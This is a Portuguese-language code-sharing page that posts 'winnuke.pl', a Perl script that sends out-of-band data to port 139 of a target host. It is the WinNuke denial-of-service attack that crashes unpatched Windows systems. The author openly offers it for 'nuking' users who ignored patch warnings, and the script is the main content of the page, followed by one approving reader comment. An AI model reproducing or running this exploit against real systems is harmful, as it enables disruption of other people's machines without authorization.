Nuke de Rwindows

Publicado por Douglas Vigliazzi 13/12/2002

[ Hits: 8.652 ]

Download winnuke.pl




Pode ser usado para nukar usuarios que ignoraram os avisos de correção

  



Esconder código-fonte

#!/usr/bin/perl
# 
# winnuke.pl 

$ARGC=@ARGV;
print "winnuke.pl \n";
if ($ARGC !=1) {
   print "usar: $0 <host>\n";
        exit;
}
use Socket;
my($remote,$port,$iaddr,$paddr,$proto,$line);
$remote=$ARGV[0];
$port = "139";
$iaddr = inet_aton($remote) or die "asdf";
$paddr = sockaddr_in($port, $iaddr) or die "asdf";
$proto = getprotobyname('tcp') or die "asdf";
print "Aguardando conexão para $ARGV[0]..";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "asdf";
connect(SOCK, $paddr) or die "asdf";;
print " [conectado: enviando OOB]\n";
$msg="H?~H?~H?~H?~";
send(SOCK,$msg,MSG_OOB) or die "done";
print "\neof -- nuke terminado\n";
exit;

Scripts recomendados

script para encontrar verificar a vulnera bilidade RFI

hbackup.pl

Gerador de Senhas Aleatórias VERSÃO 2.0

Criando sua própria criptografia em hash

Multi Security Scan


  

Comentários
[1] Comentário enviado por albertguedes em 15/10/2008 - 13:51h

Muito legal amigo. Continue a usar perl. hehehe


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts